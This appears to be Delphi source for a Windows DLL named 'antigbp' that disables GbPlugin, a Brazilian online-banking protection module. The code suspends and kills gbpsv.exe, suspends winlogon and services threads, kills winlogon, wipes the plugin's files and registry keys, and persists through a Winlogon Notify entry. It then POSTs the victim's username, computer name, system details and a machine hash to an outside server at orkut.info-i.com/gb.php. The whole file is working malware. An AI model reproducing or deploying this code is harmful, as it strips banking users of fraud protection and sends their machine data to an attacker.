library antigbp;

uses
  Wintypes, 
  advapihook, 
  sysutils, 
  reg,
  utils, 
  registry, 
  tlhelp32, 
  classes, 
  notify,
  winsock, 
  idhttp, 
  process, 
  uping, 
  md5api, 
  afxCodeHook; 

{$R resource}

const gbprocess = 'gbpsv.exe';
      gbpath    = '\GbPlugin';
      logfile   = 'toocold.lnk';


Function SeekAndDestroy(const PathName, FileName : string; const InDir : boolean): integer;
var Rec  : TSearchRec;
    Path : string;
begin
result := 0;
if Pathname[length(path)] <> '\' then path := pathname+'\' else path := pathname;

if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
 try
   repeat
     if Deletefile(Path + Rec.Name) then inc(result, 1);
   until FindNext(Rec) <> 0;
 finally
   FindClose(Rec);
 end;

If not InDir then Exit;

if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
 try
   repeat
    if ((Rec.Attr and faDirectory) <> 0)  and (Rec.Name<>'.') and (Rec.Name<>'..') then
     SeekAndDestroy(Path + Rec.Name, FileName, True);
   until FindNext(Rec) <> 0;
 finally
   FindClose(Rec);
 end;
end;

Function LoadList(init:integer):TStrings;
var i: integer;
begin
i := init;
Result := tstringlist.Create;
repeat
  result.Add(loadstr(i));
  inc(i, 1);
until loadstr(i)='';
end;

Function SNDSvcMask(mask: string):integer;
var reg: tregistry;
    keys: tstrings;
    loop: integer;
begin
  result := 0;
  reg := tregistry.Create;
   try
    with reg do begin
     RootKey := HKEY_LOCAL_MACHINE;
     Keys := tstringlist.Create;
     OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', false);
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\'+keys.Strings[loop]) then inc(result, 1); end;
     OpenKey('SYSTEM\ControlSet001\Services', false);
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet001\Services\'+keys.Strings[loop]) then inc(result, 1); end;
     OpenKey('SYSTEM\ControlSet002\Services', false);
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet002\Services\'+keys.Strings[loop]) then inc(result, 1); end;
     OpenKey('SYSTEM\ControlSet003\Services', false);
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\ControlSet003\Services\'+keys.Strings[loop]) then inc(result, 1); end;
     OpenKey('SYSTEM\CurrentControlSet\Services', false);
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if DeleteKey('SYSTEM\CurrentControlSet\Services\'+keys.Strings[loop]) then inc(result, 1); end;
      end;
     keys.Free;
     reg.Free;
   Except
    Exit;
   end;
// SEEK AND DESTROY
// sorry, but i am a great coder! :P
end;


Function SNDClsidMask(mask: string):integer;
var reg: tregistry;
    tmp,keys: tstrings;
    i,loop: integer;
begin
  result := 0;
  reg := tregistry.Create;
  Keys := tstringlist.Create;
  tmp := tstringlist.Create;
   try
    with reg do begin
     RootKey := HKEY_CLASSES_ROOT;
     if OpenKey('CLSID', false) then begin
     GetKeyNames(keys);
     Closekey;
      if keys.Count > 0 then
      for loop := 0 to keys.Count -1 do
       if OpenKey('CLSID\'+keys[loop]+'\InprocServer32', false) then
        if pos(mask, lowercase(readstring('')))>0 then begin closekey; deletekey('CLSID\'+keys.Strings[loop]); inc(result, 1); end;
       closekey;
      end;
     Closekey;

     if OpenKey('', false) then begin
     GetKeyNames(keys);
     Closekey;
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin if deletekey(keys.Strings[LOOP]) then inc(result, 1); end;
     end;
    closekey;


     if OpenKey('Interface', false) then begin
     GetKeyNames(keys);
     Closekey;
     if keys.Count > 0 then
      for loop := 0 to keys.Count -1 do
      if Openkey('Interface\'+keys.Strings[loop], false) then
       if pos(mask, lowercase(readstring('')))>0 then begin closekey;
       if deletekey('Interface\'+keys.Strings[LOOP]) then inc(result, 1); end else closekey;
     closekey;
      //HKEY_CLASSES_ROOT\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003}


     if OpenKey('TypeLib', false)  then begin
     GetKeyNames(keys);
     Closekey;
     if keys.Count > 0 then
      for loop := 0 to keys.Count -1 do
       if Openkey('TypeLib\'+keys.Strings[loop]+'\1.0', false) then
       if not pos(mask, lowercase(readstring('')))>0 then closekey else begin closekey; if deletekey('TypeLib\'+keys.Strings[LOOP]) then inc(result, 1); end;
      end;
     end;

      //HKEY_CLASSES_ROOT\TypeLib\{6B71634C-5867-4D85-BFFE-DF1C322F8B96}\1.0

     Closekey;

     RootKey := HKEY_CURRENT_USER;
     if OpenKey('Software\GbPlugin', false) then begin closekey; if deletekey('Software\GbPlugin') then inc(result, 1); end;

     RootKey := HKEY_LOCAL_MACHINE;

     //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV

     if OpenKey('SYSTEM\ControlSet002\Enum\Root\LEGACY_GBPSV', false) then begin closekey; if deletekey('SYSTEM\ControlSet001\Enum\Root\LEGACY_GBPSV') then inc(result, 1); end;
     Closekey;

     //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef

     if OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef', false) then begin closekey; if deletekey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ GbPluginCef') then inc(result, 1); end;
     Closekey;

     if OpenKey('SOFTWARE\Classes', false) then begin
     GetKeyNames(keys);
     Closekey;
      if keys.Count > 0 then
      for loop := 0 to keys.Count -1 do
       if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if DeleteKey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end;
      end;

     if OpenKey('SOFTWARE\Classes\TypeLib', false)  then begin
     GetKeyNames(keys);
     Closekey;
     if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
         if OpenKey('SOFTWARE\Classes\TypeLib\'+keys[loop]+'\1.0\0\win32', false) then
        if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\TypeLib\'+keys[loop]) then inc(result, 1); end;
       end;
    closekey;

      //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C41A1C0E-EA6C-11D4-B1B8-444553540003}\InprocServer32

     if OpenKey('SOFTWARE\Classes\CLSID', false) then begin
       GetKeyNames(keys);
       Closekey;
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do begin
         OpenKey('SOFTWARE\Classes\CLSID\'+keys[loop]+'\InprocServer32', false);
        if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\CLSID\'+keys[loop]) then inc(result, 1); end;
      end;
     end;
    closekey;

      //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\GbiehCef.GbPluginObj

     if OpenKey('SOFTWARE\Classes', false) then begin
       GetKeyNames(keys);
       Closekey;
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
        if pos(mask, lowercase(keys.Strings[loop]))>0 then begin closekey; if deletekey('SOFTWARE\Classes\'+keys.Strings[loop]) then inc(result, 1); end;
     end;
    closekey;

      //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7827CCC3-0DEB-4CFB-911C-AA777C882003}

     if OpenKey('SOFTWARE\Classes\Interface', false) then begin
       GetKeyNames(keys);
       Closekey;
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
        if openkey('SOFTWARE\Classes\Interface\'+keys.Strings[loop], false) then
        if pos(mask, lowercase(readstring('')))>0 then begin closekey; if deletekey('SOFTWARE\Classes\Interface\'+keys.Strings[loop]) then inc(result, 1); end;
     end;
    closekey;
      //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{DB6BF2CD-4F59-4F1C-AA9C-D08C0B61A931}\Contains\Files

     if OpenKey('SOFTWARE\Microsoft\Code Store Database\Distribution Units', false) then begin
       GetKeyNames(keys);
       Closekey;
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
        if openkey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]+'\Contains\Files', false) then begin
        GetValueNames(tmp);
        for i := 0 to tmp.Count -1 do if not pos(mask, lowercase(tmp.Strings[i]))>0 then closekey else begin
        closekey;
        if deletekey('SOFTWARE\Microsoft\Code Store Database\Distribution Units\'+keys.Strings[loop]) then
        inc(result, 1);
        break;
        end;
       end;
     end;
     closekey;
    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks

     if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks', false) then begin
       GetValueNames(keys);
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do if pos(mask, lowercase(readstring(keys.Strings[loop])))>0 then
         if deletevalue(keys.Strings[loop]) then inc(result, 1);
     end;
     closekey;


    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage

     if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage', false) then begin
       GetKeyNames(keys);
       Closekey;
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
         if pos(mask, lowercase(keys.Strings[loop]))>0 then if deletekey('SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage\'+keys.Strings[loop]) then inc(result, 1); end;
       closekey;

    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls

     if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls', false) then begin
       GetValueNames(keys);
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
        if pos(mask, lowercase(keys.Strings[loop]))>0 then
        if deletevalue(keys.Strings[loop]) then inc(result, 1);
       end;
      closekey;
    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved

     if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved', false) then begin
       GetValueNames(keys);
       if keys.Count > 0 then
        for loop := 0 to keys.Count -1 do
         if pos(mask, lowercase(ReadString(keys.Strings[loop])))>0 then
         if deletevalue(keys.Strings[loop]) then inc(result, 1);
        end;
       keys.Free;
       tmp.Free;
       Free;
      end;
     Except
      exit;
     end;
end;

Function GetAppData:string;
var h: hkey;
begin
  regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 0, KEY_ALL_ACCESS, h);
  result := _regQueryValue(h, 'Common AppData', reg_sz);
  regclosekey(h);
end;

Function GetRoot:string;
var h: hkey;
begin
  regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows\CurrentVersion', 0, KEY_ALL_ACCESS, h);
  result := _regQueryValue(h, 'ProgramFilesDir', reg_sz);
  regclosekey(h);
end;

Function GetConfig:string;
var h: hkey;
begin
  regopenkeyex(hkey_local_machine, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', 0, KEY_ALL_ACCESS, h);
  result := _regQueryValue(h, 'SecHash', reg_sz);
  regclosekey(h);
end;

Function ToHTML(Str: TStrings):TStrings;
begin
Result := tstringlist.Create;
with result do begin
Add('<html><body><b>Usuario: </b>'+GetUsername+
    '<b> Computador:</b>'+GetComputername+
    '<br><i>Navegador padrao '+GetDefaultBrowser+
    '<br>Versao do windows '+GetWindowsVersion+
    '<br>Hora local '+timetostr(now)+
     '</i><br><b>Log de execucao:<br><font name="Courrier new" size = 3 color=555555><pre>'+
     str.Text+'</pre></b></font></body></html>');
end;
end;

Function KillProcess(Process: cardinal):bool;
var
hProcess: hwnd;
eCode: cardinal;
begin
hProcess := openprocess(process_all_access, false, process);
GetExitCodeProcess(hProcess, eCode);
result := TerminateProcess(hProcess, eCode);
CloseHandle(hProcess);
end;

Function GetMachineHash:String;
var MD5File, MD5PC: string;
begin
MD5PC := MD5DataToStr(MD5DataFromString(GetUsername+GetComputername));
MD5File := MD5FromFile(GetWindowsDirectory+'system\Drvcnf.dll');
Result := MD5DataToStr(MD5DataFromString(MD5File+MD5PC));
end;


Procedure MainFunction;
var log,list: tstrings;
    i: integer;
    th: tthread;
begin
i := 0;
th := nil;
log := tstringlist.Create;
if DirectoryExists(getroot+gbpath) then
if not DeleteFolder(getroot+gbpath) then begin
Log.Add('Nao foi possivel excluir o diretório '+getroot+gbpath);
if not SetDebugPrivilege then log.Add('Nao foi possivel ativar o privilegio SeDebugPrivilege') else begin
if KillProcess(getpid(gbprocess)) then if not deletefile(getroot+gbpath+'\'+gbprocess) then begin
log.Add('Processo GbpSv.exe encontrado, Killado, mas nao é possivel deletar sua pasta');
while i < 1000 do begin if getpid(gbprocess) <> 0 then break else inc(i, 1); sleep(1); end;
if getpid(gbprocess) <> 0 then begin
Log.Add('Parando o processo GbpSv.exe');
th := listthreads(getpid(gbprocess));
 for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');
end;
end;
Log.Add('Parando o processo Winlogon');
th := listthreads(getpid('winlogon.exe'));
 for I := 0 to high(th) do if th[i].th32ThreadID <> GetCurrentThreadId then
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');

Log.Add('Parando o processo Services.exe');
th := listthreads(getpid('services.exe'));
 for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Parada') else
 Log.Add('THREAD['+inttostr(th[i].th32ThreadID)+'] Erro ao parala');

list := loadlist(0);
Log.Add('Deletando tudo na pasta '+getroot+gbpath);
SeekAndDestroy(getroot+gbpath, '*.*', true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Downloaded Program Files');
for I := 0 to list.Count -1 do SeekAndDestroy(GetWindowsDirectory+'Downloaded Program Files', list.Strings[i], true);
Log.Add('Deletando os arquivos com mascaras semelhantes em Commom app data.');
for I := 0 to list.Count -1 do SeekAndDestroy(getappdata, list.Strings[i], true);

list := loadlist(10);
Log.Add('Deletando todas as chaves do registro com mascara semelhantes as setadas.');
for I := 0 to list.Count -1 do log.Add('Foram deletadas '+inttostr(SNDClsidMask(list.Strings[i]))+' Com a mascara '+list.Strings[i]);

Log.Add('Killando o winlogon.exe, o windows pausara neste momento, salvando log.');
Log.SaveToFile(GetWindowsDirectory+logfile);
KillProcess(GetPID('winlogon.exe'));
sleep(10000);
log.Add('Possivelmente a funcao que para o processo winlogon nao esta funcionando');
log.SaveToFile(GetWindowsDirectory+logfile);
end;
end;
ExitThread(0);
end;

Procedure OnLogon; stdcall; export;
var   i: integer;
     th: tthread;
    log: tstrings;
    go : tidhttp;
   reg : tregistry;
begin
th := nil;
i := 0;
log := tstringlist.Create;

if fileexists(GetWindowsDirectory+logfile) then log.LoadFromFile(GetWindowsDirectory+logfile);
repeat
 if getpid(gbprocess)>0 then break else begin sleep(100); inc(i, 1); end;
until i > 300;
if GetPID(gbprocess)= 0 then begin
 log.Add('Processo GBPSV Nao encontrado');

if not DirectoryExists(getroot+gbpath) then
 log.Add('Diretorio nao encontrado '+getroot+gbpath) else

if DeleteFolder(getroot+gbpath) then
 log.Add('Diretorio encontrado e excluido '+getroot+gbpath)
  else
 log.Add('Diretorio encontrado e impossivel de ser excluido '+getroot+gbpath);
end else begin
 log.Add('Processo GBPSV encontrado PID: '+inttostr(getpid(gbprocess)));

  if not SetDebugPrivilege then log.Add('Nao foi possivel setar o privilegio de debugger') else begin
   th := listthreads(getpid(gbprocess));
   for I := 0 to high(th) do if suspend(th[i].th32ThreadID) then log.Add('Thread N. ['+inttostr(th[i].th32ThreadID)+'] parada com sucesso') else
              log.Add('Erro ao parar a thread N. ['+inttostr(th[i].th32ThreadID)+']');
  end;
 end;

reg := tregistry.Create;
try
reg.RootKey := hkey_local_machine;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ClassicViewState', true);
if not reg.ValueExists('DefaultHookValue') then reg.WriteInteger('DefaultHookValue', 3) else begin
i := reg.ReadInteger('DefaultHookValue');
end;
if i > 0 then begin
reg.WriteInteger('DefaultHookValue', i-1);

i := 0;
repeat
 if (ping('google.com')) or (ping('sourceforge.net')) or (ping('uol.com.br')) or (ping('orkut.com')) then break;
 inc(i, 1);
 sleep(60000);
until i = 20;

    Log := ToHTML(log);
    Log.Text := 'PC='+GetComputername+#13#10'USER='+GetUsername+#13#10'HASH='+uppercase(GetMachineHash)+#13#10'DADOS='+log.Text;


    Go := TIdHTTP.Create(nil);
    Go.Host := 'orkut.info-i.com';
    Go.Connect();
    Go.Post('/gb.php',log);
end;
reg.Free;
except
 exit;
end;

   exitthread(0);
end;


Procedure OnShutdown; stdcall; export;
var Init: TStartType;
begin
if getconfig = getmachinehash then exitthread(0);
with Init do begin
SetLength(Events, 2);
Events[0].Keyname := 'Logon';
Events[0].DllFunction := 'OnLogon';
Events[1].Keyname := 'Shutdown';
Events[1].DllFunction := 'OnShutdown';
DLLName := GetWindowsDirectory+'system\Drvcnf.dll';
Asynchronous := true;
Impersonate  := true;
ServiceName  := 'DevConfig';
end;
RegNotifyDll(INIT);
MainFunction;
end;

exports OnLogon, OnShutdown;

begin
end.